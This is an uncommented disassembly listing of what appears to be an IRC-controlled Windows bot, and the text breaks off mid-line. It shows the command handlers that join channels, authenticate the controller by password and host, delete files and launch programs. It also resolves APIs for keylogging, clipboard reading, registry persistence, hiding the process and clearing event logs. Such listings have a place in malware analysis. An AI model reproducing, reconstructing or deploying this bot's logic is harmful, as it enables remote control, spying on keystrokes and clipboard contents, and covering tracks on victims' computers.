push eax push [ebp+arg_0] call sub_41E710 pop ecx push eax push [ebp+arg_1C] call sub_41614F add esp, 14h test eax, eax lea eax, [ebp+var_2C0] jnz short loc_409239 push [ebp+arg_1C] push offset unk_442FC0 loc_40922B: ; CODE XREF: sub_401C87+6CFFj push eax call sub_41EA60 add esp, 0Ch jmp loc_409377 ; --------------------------------------------------------------------------- loc_409239: ; CODE XREF: sub_401C87+759Aj push offset unk_442FF0 jmp loc_40936F ; --------------------------------------------------------------------------- loc_409243: ; CODE XREF: sub_401C87+7534j ; sub_401C87+7546j ... push offset dword_443030 lea eax, [ebp+var_2C0] jmp loc_40936F ; --------------------------------------------------------------------------- loc_409253: ; CODE XREF: sub_401C87+4020j ; sub_401C87+4035j push offset word_44306E push [ebp+arg_10] call sub_41E490 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_4092D1 mov esi, 200h push edi lea eax, [ebp+var_2C0] push esi push eax call sub_41EFB0 add esp, 0Ch jmp short loc_4092AB ; --------------------------------------------------------------------------- loc_409280: ; CODE XREF: sub_401C87+7626j push 1 lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 push edi lea eax, [ebp+var_2C0] push esi push eax call sub_41EFB0 add esp, 20h loc_4092AB: ; CODE XREF: sub_401C87+75F7j test eax, eax jnz short loc_409280 push edi call sub_41BCF0 push [ebp+arg_10] lea eax, [ebp+var_2C0] push offset unk_443070 push eax call sub_41EA60 add esp, 10h jmp loc_406F3F ; --------------------------------------------------------------------------- loc_4092D1: ; CODE XREF: sub_401C87+75DFj push [ebp+arg_10] push offset dword_443094 jmp loc_406F0F ; --------------------------------------------------------------------------- loc_4092DE: ; CODE XREF: sub_401C87+3FF6j ; sub_401C87+400Bj cmp [ebp+var_C], ebx jz loc_409A67 push [ebp+arg_10] push [ebp+var_C] call sub_41EBB0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409A67 push offset word_4430B6 push esi call sub_41F630 push esi call sub_41A6D9 add esp, 0Ch test eax, eax lea eax, [ebp+var_2C0] jnz short loc_409323 push offset unk_4430B8 jmp short loc_40936F ; --------------------------------------------------------------------------- loc_409323: ; CODE XREF: sub_401C87+7693j push esi push offset dword_4430E4 push eax call sub_41EA60 add esp, 0Ch jmp short loc_409398 ; --------------------------------------------------------------------------- loc_409334: ; CODE XREF: sub_401C87+3FCCj ; sub_401C87+3FE1j cmp [ebp+var_C], ebx jz loc_409A67 push [ebp+arg_10] push [ebp+var_C] call sub_41EBB0 pop ecx cmp eax, ebx pop ecx jz loc_409A67 push eax call sub_418CE5 test eax, eax pop ecx lea eax, [ebp+var_2C0] jnz short loc_40936A push offset unk_4430FC jmp short loc_40936F ; --------------------------------------------------------------------------- loc_40936A: ; CODE XREF: sub_401C87+76DAj push offset dword_44311C loc_40936F: ; CODE XREF: sub_401C87+75B7j ; sub_401C87+75C7j ... push eax call sub_41EA60 pop ecx pop ecx loc_409377: ; CODE XREF: sub_401C87+7522j ; sub_401C87+75ADj cmp [ebp+var_8], ebx jnz short loc_409398 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 14h loc_409398: ; CODE XREF: sub_401C87+7328j ; sub_401C87+733Aj ... lea eax, [ebp+var_2C0] push eax call sub_415A3C pop ecx jmp loc_409A67 ; --------------------------------------------------------------------------- loc_4093AA: ; CODE XREF: sub_401C87+3FA2j ; sub_401C87+3FB7j push 7Fh lea eax, [ebp+var_2080] push [ebp+arg_10] push eax call sub_41E510 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_4093DB push 7Fh lea eax, [ebp+var_2000] push esi push eax call sub_41E510 add esp, 0Ch loc_4093DB: ; CODE XREF: sub_401C87+7740j push 7Fh lea eax, [ebp+var_1F80] push [ebp+var_88] push eax call sub_41E510 mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_2084], eax mov eax, [ebp+var_8] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+var_2C0] push offset dword_443138 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 1Ch push eax call sub_40B691 add esp, 24h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41BA41 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_40947E call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_443150 jmp loc_4045FF ; --------------------------------------------------------------------------- loc_409476: ; CODE XREF: sub_401C87+77FDj push 32h call ds:dword_4F534C ; Sleep loc_40947E: ; CODE XREF: sub_401C87+77DCj cmp [ebp+var_1EF4], ebx jz short loc_409476 jmp loc_406F3F ; --------------------------------------------------------------------------- loc_40948B: ; CODE XREF: sub_401C87+3F78j ; sub_401C87+3F8Dj push ebx push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_10] call sub_410287 push [ebp+arg_10] push offset dword_443190 jmp loc_408C69 ; --------------------------------------------------------------------------- loc_4094AA: ; CODE XREF: sub_401C87+3F4Ej ; sub_401C87+3F63j push 14h lea eax, [ebp+var_1D48] push ebx push eax call sub_41E4B0 push [ebp+arg_10] lea eax, [ebp+var_1D34] push offset dword_4431A8 push eax call sub_41EA60 mov eax, [ebp+arg_4] mov [ebp+var_1D50], eax lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_1C30] push 80h push eax call sub_41EC30 mov eax, [ebp+var_4] mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+var_2C0] push offset unk_4431AC push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 1Ah push eax call sub_40B691 add esp, 40h mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset sub_416788 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_40957F call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_4431D0 jmp loc_4085EB ; --------------------------------------------------------------------------- loc_409577: ; CODE XREF: sub_401C87+78FEj push 32h call ds:dword_4F534C ; Sleep loc_40957F: ; CODE XREF: sub_401C87+78DDj cmp [ebp+var_1BA0], ebx jz short loc_409577 jmp loc_402593 ; --------------------------------------------------------------------------- loc_40958C: ; CODE XREF: sub_401C87+3F24j ; sub_401C87+3F39j push [ebp+arg_10] call ds:dword_4F5354 ; DeleteFileA test eax, eax jz short loc_4095A3 push [ebp+arg_10] push offset dword_44320C jmp short loc_4095AE ; --------------------------------------------------------------------------- loc_4095A3: ; CODE XREF: sub_401C87+7910j push offset dword_443228 call sub_418C20 push eax loc_4095AE: ; CODE XREF: sub_401C87+791Aj lea eax, [ebp+var_2C0] push 200h push eax call sub_41EC30 loc_4095BF: ; CODE XREF: sub_401C87+7A0Dj add esp, 10h jmp loc_406F1E ; --------------------------------------------------------------------------- loc_4095C7: ; CODE XREF: sub_401C87+3EFAj ; sub_401C87+3F0Fj push [ebp+arg_10] call sub_41E710 push eax call sub_41A652 xor esi, esi pop ecx inc esi pop ecx push [ebp+arg_10] cmp eax, esi lea eax, [ebp+var_2C0] jnz short loc_4095EE push offset unk_443234 jmp short loc_4095F3 ; --------------------------------------------------------------------------- loc_4095EE: ; CODE XREF: sub_401C87+795Ej push offset unk_443258 loc_4095F3: ; CODE XREF: sub_401C87+7965j push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406F42 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 14h jmp loc_406F42 ; --------------------------------------------------------------------------- loc_409626: ; CODE XREF: sub_401C87+3ED0j ; sub_401C87+3EE5j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_41A334 add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_40964C push offset unk_443288 jmp loc_406F0F ; --------------------------------------------------------------------------- loc_40964C: ; CODE XREF: sub_401C87+79B9j push offset unk_4432A8 jmp loc_406F0F ; --------------------------------------------------------------------------- loc_409656: ; CODE XREF: sub_401C87+3EA6j ; sub_401C87+3EBBj mov esi, [ebp+arg_10] push esi call ds:dword_4E3008 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_2D4], eax jz short loc_409699 push 2 lea eax, [ebp+var_2D4] push 4 push eax call ds:dword_4E2F80 ; gethostbyaddr cmp eax, ebx jz short loc_4096BA push dword ptr [eax] push esi push offset unk_4432D8 loc_409688: ; CODE XREF: sub_401C87+7A31j lea eax, [ebp+var_2C0] push eax call sub_41EA60 jmp loc_4095BF ; --------------------------------------------------------------------------- loc_409699: ; CODE XREF: sub_401C87+79E2j push esi call ds:dword_4E304C ; gethostbyname cmp eax, ebx jz short loc_4096BA mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call ds:dword_4E3054 ; inet_ntoa push eax push esi push offset unk_4432F8 jmp short loc_409688 ; --------------------------------------------------------------------------- loc_4096BA: ; CODE XREF: sub_401C87+79F7j ; sub_401C87+7A1Bj push offset unk_443318 jmp loc_40649E ; --------------------------------------------------------------------------- loc_4096C4: ; CODE XREF: sub_401C87+3E7Cj ; sub_401C87+3E91j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_41E510 push [ebp+arg_10] lea eax, [ebp+var_2C0] push offset unk_443340 push eax call sub_41EA60 add esp, 18h jmp loc_407148 ; --------------------------------------------------------------------------- loc_4096ED: ; CODE XREF: sub_401C87+3E52j ; sub_401C87+3E67j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen_1 ; "open" push ebx call ds:dword_4E2F34 push [ebp+arg_10] test eax, eax jz short loc_409711 push offset unk_443370 jmp loc_406F0F ; --------------------------------------------------------------------------- loc_409711: ; CODE XREF: sub_401C87+7A7Ej push offset unk_443390 jmp loc_406F0F ; --------------------------------------------------------------------------- loc_40971B: ; CODE XREF: sub_401C87+3E28j ; sub_401C87+3E3Dj mov eax, [ebp+arg_10] mov cl, [eax] mov ds:byte_43F098, cl movsx eax, byte ptr [eax] push eax push offset unk_4433B4 jmp loc_406190 ; --------------------------------------------------------------------------- loc_409734: ; CODE XREF: sub_401C87+3DFEj ; sub_401C87+3E13j push [ebp+arg_10] call sub_41E710 test eax, eax pop ecx jle loc_409A67 push [ebp+arg_10] call sub_41E710 cmp eax, 400h pop ecx jge loc_409A67 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B38F push eax lea eax, [ebp+var_2C0] push offset aNickS_7 ; "NICK %s" push eax call sub_41EA60 add esp, 1Ch lea eax, [ebp+var_2C0] push eax push offset aS_25 ; "%s\r\n" jmp loc_408B99 ; --------------------------------------------------------------------------- loc_40978F: ; CODE XREF: sub_401C87+3DD4j ; sub_401C87+3DE9j mov esi, [ebp+arg_10] push esi call sub_41E710 test eax, eax pop ecx jle loc_4076C4 push esi call sub_41E710 cmp eax, 400h pop ecx jge loc_4076C4 push offset aQuitLater_0 ; "QUIT :later\r\n" push esi call sub_41E710 imul eax, 234h pop ecx push ds:dword_455F0C[eax] call sub_409C2F pop ecx pop ecx push 1F4h call ds:dword_4F534C ; Sleep push esi call sub_41E710 imul eax, 234h pop ecx push ds:dword_455F0C[eax] call ds:dword_4E3060 ; closesocket push [ebp+var_10] push esi call sub_41E710 imul eax, 234h pop ecx push ds:dword_455F14[eax] call ds:dword_4F5380 ; TerminateThread push esi call sub_41E710 imul eax, 234h push esi mov ds:dword_455F14[eax], ebx call sub_41E710 imul eax, 234h pop ecx pop ecx mov byte ptr ds:dword_455D00[eax], bl jmp loc_4076C4 ; --------------------------------------------------------------------------- loc_40983D: ; CODE XREF: sub_401C87+3DAAj ; sub_401C87+3DBFj push [ebp+arg_10] push offset aAll ; "all" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40987C call sub_40B854 cmp eax, ebx jle short loc_409864 push eax push offset unk_443400 jmp loc_40755A ; --------------------------------------------------------------------------- loc_409864: ; CODE XREF: sub_401C87+7BD0j push offset unk_443428 loc_409869: ; CODE XREF: sub_401C87+24B3j ; sub_401C87+24D2j ... lea eax, [ebp+var_2C0] push eax call sub_41EA60 pop ecx pop ecx jmp loc_407569 ; --------------------------------------------------------------------------- loc_40987C: ; CODE XREF: sub_401C87+7BC7j mov eax, [ebp+var_A4] lea esi, [eax+1] jmp short loc_4098F3 ; --------------------------------------------------------------------------- loc_409887: ; CODE XREF: sub_401C87+7C6Fj mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_4076C4 push edi call sub_41E710 push eax call sub_40B7CC pop ecx pop ecx test eax, eax push edi lea eax, [ebp+var_2C0] jz short loc_4098B6 push offset unk_443450 jmp short loc_4098BB ; --------------------------------------------------------------------------- loc_4098B6: ; CODE XREF: sub_401C87+7C26j push offset unk_443474 loc_4098BB: ; CODE XREF: sub_401C87+7C2Dj push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4098E5 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 14h loc_4098E5: ; CODE XREF: sub_401C87+7C40j lea eax, [ebp+var_2C0] push eax call sub_415A3C pop ecx inc esi loc_4098F3: ; CODE XREF: sub_401C87+7BFEj cmp esi, 20h jb short loc_409887 jmp loc_4076C4 ; --------------------------------------------------------------------------- loc_4098FD: ; CODE XREF: sub_401C87+3D80j ; sub_401C87+3D95j cmp [ebp+var_C], ebx jz loc_409A67 push [ebp+arg_10] push [ebp+var_C] call sub_41EBB0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409A67 push esi push offset aS_26 ; "%s\r\n" push [ebp+arg_4] call sub_409C2F push esi push offset dword_4434A8 jmp loc_408D96 ; --------------------------------------------------------------------------- loc_409936: ; CODE XREF: sub_401C87+3D56j ; sub_401C87+3D6Bj push [ebp+arg_10] push offset dword_4434C4 push [ebp+arg_4] call sub_409C2F push [ebp+arg_10] push offset unk_4434D0 jmp loc_408D96 ; --------------------------------------------------------------------------- loc_409953: ; CODE XREF: sub_401C87+3D2Cj ; sub_401C87+3D41j push [ebp+esi+var_88] push [ebp+arg_10] push offset aJoinSS_3 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409C2F push [ebp+arg_10] push offset unk_443504 jmp loc_408C69 ; --------------------------------------------------------------------------- loc_409977: ; CODE XREF: sub_401C87+3D02j ; sub_401C87+3D17j push [ebp+arg_10] push offset aNickS_8 ; "NICK %s\r\n" push [ebp+arg_4] call sub_409C2F push [ebp+arg_10] push offset unk_443534 jmp loc_408D96 ; --------------------------------------------------------------------------- loc_409994: ; CODE XREF: sub_401C87+316Dj ; sub_401C87+3182j push offset aQuitReconnec_0 ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409C2F push [ebp+arg_10] lea eax, [ebp+var_2C0] push offset unk_443570 push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_415A3C push [ebp+arg_10] call sub_41E710 add esp, 1Ch loc_4099CC: ; CODE XREF: sub_401C87+7D91j push eax call ds:dword_4F534C ; Sleep loc_4099D3: ; CODE XREF: sub_401C87+2A9Bj xor eax, eax jmp loc_409C2A ; --------------------------------------------------------------------------- loc_4099DA: ; CODE XREF: sub_401C87+3143j ; sub_401C87+3158j push offset aQuitReconnec_1 ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409C2F push [ebp+arg_10] lea eax, [ebp+var_2C0] push offset unk_4435AC push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_415A3C push [ebp+arg_10] call sub_41E710 add esp, 1Ch imul eax, 3E8h jmp short loc_4099CC ; --------------------------------------------------------------------------- loc_409A1A: ; CODE XREF: sub_401C87+E79j ; sub_401C87+E8Ej push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push ds:dword_43F0A0 push eax call sub_40B38F lea eax, [ebp+var_338] push eax push offset aNickS_9 ; "NICK %s\r\n" push [ebp+arg_4] call sub_409C2F lea eax, [ebp+var_338] push eax push offset unk_4435E0 call sub_415AB0 loc_409A64: ; CODE XREF: sub_401C87+5322j add esp, 24h loc_409A67: ; CODE XREF: sub_401C87+624j ; sub_401C87+630j ... mov eax, [ebp+arg_24] jmp loc_409C2A ; --------------------------------------------------------------------------- loc_409A6F: ; CODE XREF: sub_401C87+A73j ; sub_401C87+A88j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_4076C4 cmp [ebp+var_A8], ebx jnz loc_4076C4 push offset asc_443604 ; "!~" push [ebp+var_90] call sub_41F870 mov esi, eax push offset dword_4E2E80 push ebx inc esi call sub_41F870 push (offset asc_443604+2) push eax call sub_41F870 push [ebp+arg_10] mov edi, eax push offset a3zef ; "3zef" call sub_41F7E0 add esp, 20h test eax, eax jz short loc_409B17 lea eax, [ebp+var_C0] push edi push eax lea eax, [ebp+var_C0] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409C2F lea eax, [ebp+var_C0] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409C2F push edi push esi push offset unk_44365C loc_409B03: ; CODE XREF: sub_401C87+7EE9j lea eax, [ebp+var_2C0] push eax call sub_41EA60 add esp, 30h jmp loc_402593 ; --------------------------------------------------------------------------- loc_409B17: ; CODE XREF: sub_401C87+7E43j mov [ebp+arg_24], ebx loc_409B1A: ; CODE XREF: sub_401C87+7EB0j mov eax, [ebp+arg_24] push edi push ds:off_43F158[eax] call sub_40B9E4 pop ecx test eax, eax pop ecx jnz short loc_409B72 add [ebp+arg_24], 4 cmp [ebp+arg_24], 4 jb short loc_409B1A lea eax, [ebp+var_C0] push edi push eax lea eax, [ebp+var_C0] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409C2F lea eax, [ebp+var_C0] push eax push offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409C2F push edi push esi push offset unk_4436DC jmp short loc_409B03 ; --------------------------------------------------------------------------- loc_409B72: ; CODE XREF: sub_401C87+7EA6j mov edi, [ebp+arg_18] xor esi, esi loc_409B77: ; CODE XREF: sub_401C87+7F11j cmp [edi], bl jnz short loc_409B8E push [ebp+arg_10] push offset a3zef ; "3zef" call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_409B9F loc_409B8E: ; CODE XREF: sub_401C87+7EF2j inc esi add edi, 80h cmp esi, 3 jl short loc_409B77 jmp loc_4076C4 ; --------------------------------------------------------------------------- loc_409B9F: ; CODE XREF: sub_401C87+7F05j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh push eax push esi call sub_41E510 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_409BD6 push ebx push [ebp+var_4] push offset unk_443708 push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 14h loc_409BD6: ; CODE XREF: sub_401C87+7F33j lea eax, [ebp+var_C0] push eax push offset unk_443728 jmp loc_40220D ; --------------------------------------------------------------------------- loc_409BE7: ; CODE XREF: sub_401C87+202j ; sub_401C87+217j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409C2F push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409C2F push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS_4 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409C2F add esp, 2Ch mov ds:dword_4E2E70, edi loc_409C28: ; CODE XREF: sub_401C87+E9j ; sub_401C87+F5j ... mov eax, edi loc_409C2A: ; CODE XREF: sub_401C87+2A5Aj ; sub_401C87+2A7Cj ... pop edi pop esi pop ebx leave retn sub_401C87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C2F proc near ; CODE XREF: sub_401B0B+3Dp ; sub_401C87+1BFp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41F9C0 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_4E3018 ; send leave retn sub_409C2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C75 proc near ; CODE XREF: sub_401C87+4F3p ; sub_401C87+132Ep ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice_3 ; "NOTICE" jnz short loc_409C90 mov edi, offset aPrivmsg_2 ; "PRIVMSG" loc_409C90: ; CODE XREF: sub_409C75+14j push edi call sub_41BC70 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41BC70 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_12 ; "%s" push esi push eax call sub_41EC30 lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS ; "%s %s :%s\r\n" push eax call sub_41EA60 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_4E3018 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409D0E push 7D0h call ds:dword_4F534C ; Sleep locret_409D0E: ; CODE XREF: sub_409C75+8Cj leave retn sub_409C75 endp ; =============== S U B R O U T I N E ======================================= sub_409D10 proc near ; CODE XREF: sub_401404+4Bp push ebx push ebp mov ebp, ds:off_4F5370 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; sub_50AF8C mov esi, ds:off_4F5390 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409E30 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; sub_50B076 push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov ds:dword_4E3074, eax call esi ; sub_50B076 push offset aProcess32first ; "Process32First" push edi mov ds:dword_4E2FE8, eax call esi ; sub_50B076 push offset aProcess32next ; "Process32Next" push edi mov ds:dword_4E2FCC, eax call esi ; sub_50B076 push offset aModule32first ; "Module32First" push edi mov ds:dword_4E2EDC, eax call esi ; sub_50B076 push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov ds:dword_4E2E88, eax call esi ; sub_50B076 push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov ds:dword_4E2EB8, eax call esi ; sub_50B076 push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov ds:dword_4E2F30, eax call esi ; sub_50B076 push offset aSearchpatha ; "SearchPathA" push edi mov ds:dword_4E3028, eax call esi ; sub_50B076 push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov ds:off_4E3080, eax call esi ; sub_50B076 push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov ds:dword_4E2EE8, eax call esi ; sub_50B076 cmp ds:dword_4E3074, ebx mov ds:dword_4E2ED0, eax jz short loc_409E0E cmp ds:dword_4E2FE8, ebx jz short loc_409E0E cmp ds:dword_4E2FCC, ebx jz short loc_409E0E cmp ds:dword_4E2EDC, ebx jz short loc_409E0E cmp ds:dword_4E2EB8, ebx jz short loc_409E0E cmp ds:dword_4E2F30, ebx jz short loc_409E0E cmp ds:dword_4E3028, ebx jz short loc_409E0E cmp ds:off_4E3080, ebx jz short loc_409E0E cmp ds:dword_4E2EE8, ebx jz short loc_409E0E cmp eax, ebx jnz short loc_409E18 loc_409E0E: ; CODE XREF: sub_409D10+B8j ; sub_409D10+C0j ... mov ds:dword_4E3084, 1 loc_409E18: ; CODE XREF: sub_409D10+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; sub_50B076 cmp eax, ebx mov ds:dword_4E3000, eax jz short loc_409E45 push 1 push ebx call eax jmp short loc_409E45 ; --------------------------------------------------------------------------- loc_409E30: ; CODE XREF: sub_409D10+1Dj call ds:dword_4F5360 ; RtlGetLastWin32Error mov ds:dword_4E3088, eax mov ds:dword_4E3084, 1 loc_409E45: ; CODE XREF: sub_409D10+117j ; sub_409D10+11Ej push offset aUser32_dll ; "user32.dll" call ds:off_4F538C mov edi, eax cmp edi, ebx jz loc_409F5A push offset aSendmessagea ; "SendMessageA" push edi call esi ; sub_50B076 push offset aFindwindowa ; "FindWindowA" push edi mov ds:dword_4E3024, eax call esi ; sub_50B076 push offset aIswindow ; "IsWindow" push edi mov ds:dword_4E2FD4, eax call esi ; sub_50B076 push offset aDestroywindow ; "DestroyWindow" push edi mov ds:dword_4E2F68, eax call esi ; sub_50B076 push offset aOpenclipboard ; "OpenClipboard" push edi mov ds:dword_4E3078, eax call esi ; sub_50B076 push offset aGetclipboardda ; "GetClipboardData" push edi mov ds:dword_4E2F98, eax call esi ; sub_50B076 push offset aCloseclipboard ; "CloseClipboard" push edi mov ds:dword_4E2FB8, eax call esi ; sub_50B076 push offset aExitwindowsex ; "ExitWindowsEx" push edi mov ds:dword_4E301C, eax call esi ; sub_50B076 cmp ds:dword_4E3024, ebx mov ds:dword_4E2F08, eax jz short loc_409EFE cmp ds:dword_4E2FD4, ebx jz short loc_409EFE cmp ds:dword_4E2F68, ebx jz short loc_409EFE cmp ds:dword_4E3078, ebx jz short loc_409EFE cmp ds:dword_4E2F98, ebx jz short loc_409EFE cmp ds:dword_4E2FB8, ebx jz short loc_409EFE cmp ds:dword_4E301C, ebx jz short loc_409EFE cmp eax, ebx jnz short loc_409F08 loc_409EFE: ; CODE XREF: sub_409D10+1B8j ; sub_409D10+1C0j ... mov ds:dword_4E308C, 1 loc_409F08: ; CODE XREF: sub_409D10+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; sub_50B076 push offset aGetkeystate ; "GetKeyState" push edi mov ds:dword_4E2F94, eax call esi ; sub_50B076 push offset aGetwindowtexta ; "GetWindowTextA" push edi mov ds:dword_4E2E9C, eax call esi ; sub_50B076 push offset aGetforegroundw ; "GetForegroundWindow" push edi mov ds:dword_4E2F64, eax call esi ; sub_50B076 cmp ds:dword_4E2F94, ebx mov ds:dword_4E2F4C, eax jz short loc_409F65 cmp ds:dword_4E2E9C, ebx jz short loc_409F65 cmp ds:dword_4E2F64, ebx jz short loc_409F65 cmp eax, ebx jnz short loc_409F6F jmp short loc_409F65 ; --------------------------------------------------------------------------- loc_409F5A: ; CODE XREF: sub_409D10+144j call ds:dword_4F5360 ; RtlGetLastWin32Error mov ds:dword_4E3090, eax loc_409F65: ; CODE XREF: sub_409D10+232j ; sub_409D10+23Aj ... mov ds:dword_4E308C, 1 loc_409F6F: ; CODE XREF: sub_409D10+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; sub_50AF8C mov edi, eax cmp edi, ebx jz loc_40A128 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; sub_50B076 push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov ds:dword_4E3038, eax call esi ; sub_50B076 push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov ds:dword_4E2F7C, eax call esi ; sub_50B076 push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov ds:dword_4E2FEC, eax call esi ; sub_50B076 push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov ds:dword_4E2EC8, eax call esi ; sub_50B076 push offset aRegclosekey ; "RegCloseKey" push edi mov ds:dword_4E2F2C, eax call esi ; sub_50B076 push offset aOpeneventloga ; "OpenEventLogA" push edi mov ds:dword_4E2FA4, eax call esi ; sub_50B076 push offset aCleareventloga ; "ClearEventLogA" push edi mov ds:dword_4E2F48, eax call esi ; sub_50B076 cmp ds:dword_4E3038, ebx mov ds:dword_4E2F58, eax jz short loc_40A018 cmp ds:dword_4E2F7C, ebx jz short loc_40A018 cmp ds:dword_4E2FEC, ebx jz short loc_40A018 cmp ds:dword_4E2EC8, ebx jz short loc_40A018 cmp ds:dword_4E2F2C, ebx jz short loc_40A018 cmp ds:dword_4E2FA4, ebx jnz short loc_40A022 loc_40A018: ; CODE XREF: sub_409D10+2DEj ; sub_409D10+2E6j ... mov ds:dword_4E3094, 1 loc_40A022: ; CODE XREF: sub_409D10+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; sub_50B076 push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov ds:dword_4E2FAC, eax call esi ; sub_50B076 push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov ds:dword_4E2F84, eax call esi ; sub_50B076 cmp ds:dword_4E2FAC, ebx mov ds:dword_4E3034, eax jz short loc_40A05D cmp ds:dword_4E2F84, ebx jz short loc_40A05D cmp eax, ebx jnz short loc_40A067 loc_40A05D: ; CODE XREF: sub_409D10+33Fj ; sub_409D10+347j mov ds:dword_4E3094, 1 loc_40A067: ; CODE 